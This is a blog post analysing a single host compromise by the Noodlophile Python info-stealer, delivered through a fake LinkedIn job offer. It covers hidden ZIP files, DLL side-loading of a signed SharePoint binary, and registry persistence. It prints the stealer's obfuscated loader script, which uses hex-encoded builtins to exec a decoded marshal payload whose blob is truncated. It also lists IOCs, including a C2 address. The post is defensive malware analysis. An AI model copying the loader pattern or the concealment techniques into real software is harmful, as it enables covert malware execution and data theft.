Anatomy of a Noodlophile Infection
Summary
This blog post provides a post-mortem analysis of a single host compromise resulting from a successful multi-stage phishing attack, which I triaged and investigated. The attack leveraged a fake job opportunity to lure the victim into executing a malicious payload via DLL side-loading.
The infection exhibited distinct characteristics shared with Python-based info stealers commonly attributed to Vietnamese cybercriminal groups, such as Noodlophile, PXA Stealer, and NodeStealer. Key overlaps include social engineering via LinkedIn lures, Google Form job applications, ZIP archive delivery via Dropbox, DLL side-loading using signed Windows binaries, second-stage execution via a staged Python runtime, registry persistence, and retaliatory anti-analysis padding referencing security firm Morphisec.
These tactics align closely with an October 2025 report by Google’s Threat Intelligence Group (GTIG) detailing a large-scale phishing campaign conducted by a cluster of financially motivated threat actors operating from Vietnam, tracked as UNC6229. In that campaign, attackers deployed fraudulent job listings and skill assessment tests on legitimate recruitment platforms to target digital marketing and advertising personnel with multi-stage stealers and Remote Access Trojans (RATs).
Context & Initial Access
Initial EDR Detection
The compromise was revealed after an EDR detection fired for post-exploitation process injection activity. Falcon overwatch (CrowdStrike's paid threat hunting service later triggered a detection on pythonw.exe as the root of the post-exploitation behaviour.
The process tree present in the detections indicated that the activity stemmed from a suspiciously named executable "Salary and Benefits.exe". A review of this binary and how it was written to disk led to the discovery of the ZIP archive lure and initial access vector.
The Lure
The victim was phished under the pretext of a fake job offer to a U.S based defense contractor. The pretext was delivered to the victim via LinkedIn, where they were directed by the threat actor via direct messages to a google form masquerading as a job application. The victim was then further instructed to download a ZIP archive hosted on Dropbox, which "contained relevant information about the prospective job".
The ZIP lure contained six files; however, three of these files had the following attributes set:
S = System
H = Hidden
R = Read-only
When the System and Hidden attributes are set in combination on a file, Windows File Explorer will hide the files by default, even if the "Show hidden items" option is enabled. Tech-savvy users who enable this option to reveal hidden files will often leave the "Hide protected operating system files (Recommended)" option enabled, which continues to prevent these files from being displayed.
This technique allows threat actors to conceal payload files from users while leaving the decoy documents visible, increasing the likelihood that the victim interacts with the intended executable.
Analysis
At the time of triage, it was observed the SHA256 hash for the initial executable "Salary & Benefits.exe" represented a legitimate signed Microsoft Windows victim application Microsoft.Sharepoint.exe. A team member quickly suggested DLL side-loading, which seemed a likely scenario given the ZIP archive delivery context.
DLL Side-loading (T1574.001) positions a victim application and malicious DLL payload(s) alongside each other in order to abuse the search order that Windows uses to load DLLs, this will cause Windows to load the malicious DLL when it is called for by the victim program.
A search for the term "Microsoft.Sharepoint.exe" on https://hijacklibs.net revealed two documented entries that could be used for side-loading, version.dll and secur32.dll. These filenames however, were not written to disk by the unzipped archive, instead two DLL files; file.dll and USERENV.dll were written alongside the signed Microsoft.Sharepoint.exe executable.
DLL Side-loading Payload: USERENV.dll
A review of file.dll's SHA256 hash on VirusTotal revealed that the file is a renamed copy of the legitimate Windows DLL USERENV.dll, while the file USERENV.dll was actually a malicious side-loading payload masquerading as the legitimate copy.
DLL side-loading attacks often additionally include a copy of the original DLL to preserve the victim application's normal functionality during code execution. Rather than replacing the library outright, the malicious DLL acts as a proxy: it executes its payload, then forwards API calls to the legitimate DLL so that the application continues to operate normally. This particular technique is known as "DLL Substitution".
Static analysis of USERENV.dll's Portable Executable (PE) attributes in Detect It Easy revealed a compilation timestamp of 2026-07-26 03:27:41, a file size of 80.00 MiB. This is an extremely large file size in contrast with the legitimate userenv.dll (renamed as file.dll on disk) whose size is 216 kb.
Detect It Easy identified a likely compressed or packed overlay of 0x04FF8E00 bytes (83.89 MB in decimal or 80.00 MiB in binary) with an extremely high entropy of score of 8.00. A PE overlay is data appended to the very end of a Portable Executable file, when the Operating Systems' loader maps a process into memory, only the headers and mapped sections are read. However once running, the process can theoretically open a file handle to its own disk image and extract whatever data is stored in that overlay.
The side-loaded DLL acted as a dropper for a staging folder C:\ProgramData\TrojanHouse which contained a full Python 3.10 interpreter installation, this was followed by the execution of pythonw.exe (a legitimate executable used to run Python scripts silently in the background without opening a command prompt window) against a malicious script C:\ProgramData\TrojanHouse\Lib\Image.csv masquerading as a legitimate .csv file. The malicious script then implemented persistence via a run key MicrosoftEdgeSyscalls_Updates in the user's registry hive.
Second Stage: Python-based Malware
Inspection of the malicious Image.csv python script revealed the following contents (although not as beautifully formatted):
try:
j=44;
z=__builtins__;
c=getattr(z,b'\x67\x65\x74\x61\x74\x74\x72'.decode());
F=c(z,b'\x65\x78\x65\x63'.decode());
n=c(z,b'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f'.decode());
i=lambda q:None;
R=getattr(__import__(b'\x6d\x61\x72\x73\x68\x61\x6c'.decode()), b'\x6c\x6f\x61\x64\x73'.decode())(getattr(__import__(b'\x7a\x6c\x69\x62'.decode()), b'\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73'.decode())(getattr(__import__(b'\x62\x7a\x32'.decode()), b'\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73'.decode())(getattr(__import__(b'\x62\x61\x73\x65\x36\x34'.decode()), b'\x62\x38\x35\x64\x65\x63\x6f\x64\x65'.decode())(b'LRx4!F+o`-Q(5MFc!>hbB>(^a|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsB!$$)(NA4Uq^=Waf|<vpzKz1<e~-&XebZ*Pvgv^;%%U6)&}Y`1*d-uvzK-+JipvU}#~>3!URE8ly*KI^{5yUm)}-t)NnIo8j6%=+uQRoh+no>RMhx!2x+Q+qrwU3$HSin;dt+vnEw-nI5lJ@0pY?%!SJ`rV&>&GpZ{?R&Rd@4d_HZ++L>zP|fgefPK9-+OAGZ=3A;HE(-+Zui~2^}Bt`y-vHW_oq+2>pQ*oz0Y5H+r0PNUE4Kwxy|?5b)~m`yU(t5pKVcX-+lMK_q*HP?w@CT_T965)Ox$i66(I@?Q7qA*J{1DX9L~tdirm(q4&4dyWV~5dhTyqyK_xGy}irrdwOfTz3;O0SJroTt@VlC`OQ^Z-(K$f*W13f`|fwv_g=R?RrUARd&TzOR=lgd&G%mKy}Vtvocp)k-rK(C$DP{l`QGmDyw0xPyXtSfPm{X0+uk?3?{s$ieCFHVZ%;2S-LZm~VcDN%j_&krdiv?UyWaX@w_j~e+j;WOz4y0`_V=y5_'))))
F(R)
except Exception as e:
print(e)
NOTE: The large blob of bytes towards the bottom of the script has been significantly shortened for brevity.
The script uses Hexadecimal byte encoding to define variables for obfuscation purposes. Converting the hexadecimal encoding to ASCII and replacing the obfuscated variables with their defined values reveals the script's true functionality - dynamically resolving dangerous built-in and imported functions from compression and encoding libraries; exec, marshal.loads(), zlib.decompress(), bz2.decompress(), base64.b85decode().
try:
j=44;
z=__builtins__;
c=getattr(__builtins__, "getattr");
F=getattr(__builtins__, "exec");
n=getattr(__builtins__, "__import__");
i=lambda q:None;
R=marshal.loads(zlib.decompress(bz2.decompress(base64.b85decode(b'\x62\x38\x35\x64\x65\x63\x6f\x64\x65'.decode())(b'LRx4!F+o`-Q(5MFc!>hbB>(^a|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsB!$$)(NA4Uq^=Waf|<vpzKz1<e~-&XebZ*Pvgv^;%%U6)&}Y`1*d-uvzK-+JipvU}#~>3!URE8ly*KI^{5yUm)}-t)NnIo8j6%=+uQRoh+no>RMhx!2x+Q+qrwU3$HSin;dt+vnEw-nI5lJ@0pY?%!SJ`rV&>&GpZ{?R&Rd@4d_HZ++L>zP|fgefPK9-+OAGZ=3A;HE(-+Zui~2^}Bt`y-vHW_oq+2>pQ*oz0Y5H+r0PNUE4Kwxy|?5b)~m`yU(t5pKVcX-+lMK_q*HP?w@CT_T965)Ox$i66(I@?Q7qA*J{1DX9L~tdirm(q4&4dyWV~5dhTyqyK_xGy}irrdwOfTz3;O0SJroTt@VlC`OQ^Z-(K$f*W13f`|fwv_g=R?RrUARd&TzOR=lgd&G%mKy}Vtvocp)k-rK(C$DP{l`QGmDyw0xPyXtSfPm{X0+uk?3?{s$ieCFHVZ%;2S-LZm~VcDN%j_&krdiv?UyWaX@w_j~e+j;WOz4y0`_V=y5_'))))
F(R)
except Exception as e:
print(e)
Using the dynamically resolved import functions, the script decodes, decompresses and then deserializes a large block of bytes. Once deserialized by marshal.loads(), this variable R represents a Python code object - compiled, low-level bytecode that is then executed by the variable F (a dynamically resolved reference to the built-in exec() function).
By removing execution of the deserialized payload from the script F(R), we can safely save the decoded python bytecode as a .pyc file for further analysis. The deserialized object produced by marshal.loads() does not have to be saved to a file and can instead be analysed by directly modifying the malicious script, however saving the object as a .pyc file can be helpful to keep track of the de-obfuscation process and produce further copies of the payload.
To save the object to a valid .pyc file, we must provide the magic bytes and file headers for the corresponding Python version of the code object. Given the python environment that was packaged for this infection (Python 3.10), the format will be:
Offset Size Purpose
0 4 Magic number
4 4 bitfield flags
8 8 Timestamp + Source size
16 / Code
import marshal
import struct
try:
j=44;
z=__builtins__;
c=getattr(__builtins__, "getattr");
F=getattr(__builtins__, "exec");
n=getattr(__builtins__, "__import__");
i=lambda q:None;
payload=marshal.loads(zlib.decompress(bz2.decompress(base64.b85decode(b'\x62\x38\x35\x64\x65\x63\x6f\x64\x65'.decode())(b'LRx4!F+o`-Q(5MFc!>hbB>(^a|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsB!$$)(NA4Uq^=Waf|<vpzKz1<e~-&XebZ*Pvgv^;%%U6)&}Y`1*d-uvzK-+JipvU}#~>3!URE8ly*KI^{5yUm)}-t)NnIo8j6%=+uQRoh+no>RMhx!2x+Q+qrwU3$HSin;dt+vnEw-nI5lJ@0pY?%!SJ`rV&>&GpZ{?R&Rd@4d_HZ++L>zP|fgefPK9-+OAGZ=3A;HE(-+Zui~2^}Bt`y-vHW_oq+2>pQ*oz0Y5H+r0PNUE4Kwxy|?5b)~m`yU(t5pKVcX-+lMK_q*HP?w@CT_T965)Ox$i66(I@?Q7qA*J{1DX9L~tdirm(q4&4dyWV~5dhTyqyK_xGy}irrdwOfTz3;O0SJroTt@VlC`OQ^Z-(K$f*W13f`|fwv_g=R?RrUARd&TzOR=lgd&G%mKy}Vtvocp)k-rK(C$DP{l`QGmDyw0xPyXtSfPm{X0+uk?3?{s$ieCFHVZ%;2S-LZm~VcDN%j_&krdiv?UyWaX@w_j~e+j;WOz4y0`_V=y5_'))))
with open("payload.pyc", "wb") as f:
# Writes the Python 3.10 bytecode magic number
f.write(b'\x6f\x0d\x0d\x0a')
# Writes 12 bytes worth of header fields
f.write(struct.pack("<I", 0))
f.write(struct.pack("<I", 0))
f.write(struct.pack("<I", 0))
# Serialises the payload object back into the .pyc file
marshal.dump(payload, f)
except Exception as e:
print(e)
Python has a built-in bytecode disassembler module dis that can be used to disassemble Python bytecode into a more understandable form. Although not returning the original source code, it allows analysts to view the operations performed by the code.
The below command loads the bytecode from a .pyc file and disassembles it, revealing operations and strings used in the malware:
python -m dis payload.pyc > disassembled_bytecode.txt
We can also use a specialized decompiler tool (Decompyle++) to attempt a source code translation:
./pycdc payload.pyc -o decompiled_bytecode.txt
The pseudo-source code reveals a further obfuscated python script containing a large base64 encoded data blob, which when decoded shows a significant amount of anti-analysis padding and several interesting strings:
_author:ngocuyencoder
<lol haha morphisec>
fuckyou
vaichuongcacem
These strings represent a textbook example of the retaliatory Noodlophile information stealer. The Noodlophile stealer originally gained traction in May 2025 by masquerading as fake AI video generation tools on social media. After security firm Morphisec published a detailed analysis of the malware's operations, the developers retaliated by updating their code with vulgar Vietnamese phrases and direct taunts aimed at Morphisec.
The "_author" string is also particularly interesting. A quick google search for "ngocuyencoder" reveals a Youtube channel and a Github profile with the name set to "vuongtiendat aka ngocuyencoder" and multiple Abstract Syntax Tree (AST) Python obfuscation projects: velimatix-obfuscator, enjuly19, pymsx
Indicators of Compromise (IOCs)
| Indicator | Type | Context |
|---|---|---|
0627318f8a8ed95776f02e93b2d4f34ef98cf81a8b03e827dcaffacd45a1dd62 |
SHA256 Hash | The malicious USERENV.dll that was used in the DLL side-loading attack against Microsoft.Sharepoint.exe. |
ff17605daa79e10acf07bae8173ca83d1fad663b44151d05dc6a481b9303f5fb |
SHA256 Hash | The Malicious Python script C:\ProgramData\TrojanHouse\Lib\Image.csv masquerading as a CSV file. |
46f3601b5b257456b1509a853cfb2c0f4c5f1d734192b2ea94c76b247da932a6 |
SHA256 Hash | The winhttp2 file present in the ZIP archive. |
C:\ProgramData\TrojanHouse\* |
File Path | A staging location created by the initial dropper DLL for the purpose of a full Python installation. |
"C:\ProgramData\TrojanHouse\pythonw.exe C:\ProgramData\TrojanHouse\Lib\Image.csv AntelopeHerd" |
Process Execution | Execution string launching the payload with argument AntelopeHerd. |
MicrosoftEdgeSyscalls_Updates |
Registry Key | Persistence mechanism created by the malicious Python script under CurrentVersion\Run in NTUSER.dat. |
206[.]206[.]78[.]16:56001 |
IP / Port | Command and Control (C2) address. |
hxxps[://]uce50de5140959b1073170adb671[.]dl[.]dropboxusercontent[.]com/cd/0/get/DFITFB_eAsJjuz5S33WszYIsYV85yEC7a2CVNe3sAJg5PPMJR5gHwDRqOlu-h5K-KZHpf1QIlBCC25Ge5xdTW7EF2AfAJP3GNtC9a2Somp3uHg_MN0dToFCb-95mi7H02sl9dE7whUJU42eMvfUsgkcd/file?dl=1# |
URL | Dropbox URL hosting the ZIP archive phishing payload. |
References
MITRE ATT&CK Technique: T1574.001 — DLL Search Order Hijacking https://attack.mitre.org/techniques/T1574/001/
HijackLibs — Microsoft.Sharepoint.exe DLL Side-loading Entries https://hijacklibs.net/#microsoft.sharepoint.exe
Microsoft — Dynamic-Link Library Search Order https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
Morphisec — Noodlophile Stealer Evolves: Targeted Copyright Phishing Hits Enterprises with Social Media Footprints https://www.morphisec.com/blog/noodlophile-stealer-evolves-targeted-copyright-phishing-hits-enterprises-with-social-media-footprints/
Morphisec — Noodlophile Stealer: When Cybercriminals Get a Bit Salty https://www.morphisec.com/blog/noodlophile-stealer-when-cybercriminals-get-a-bit-salty/
SentinelOne — Ghost in the ZIP: New PXA Stealer and Its Telegram-Powered Ecosystem https://www.sentinelone.com/labs/ghost-in-the-zip-new-pxa-stealer-and-its-telegram-powered-ecosystem/
Trend Micro — Python-Based NodeStealer https://www.trendmicro.com/en\_gb/research/24/l/python-based-nodestealer.html
Google Cloud Threat Intelligence Group — Vietnamese Actors Use Fake Job Posting Campaigns to Target Victims https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns
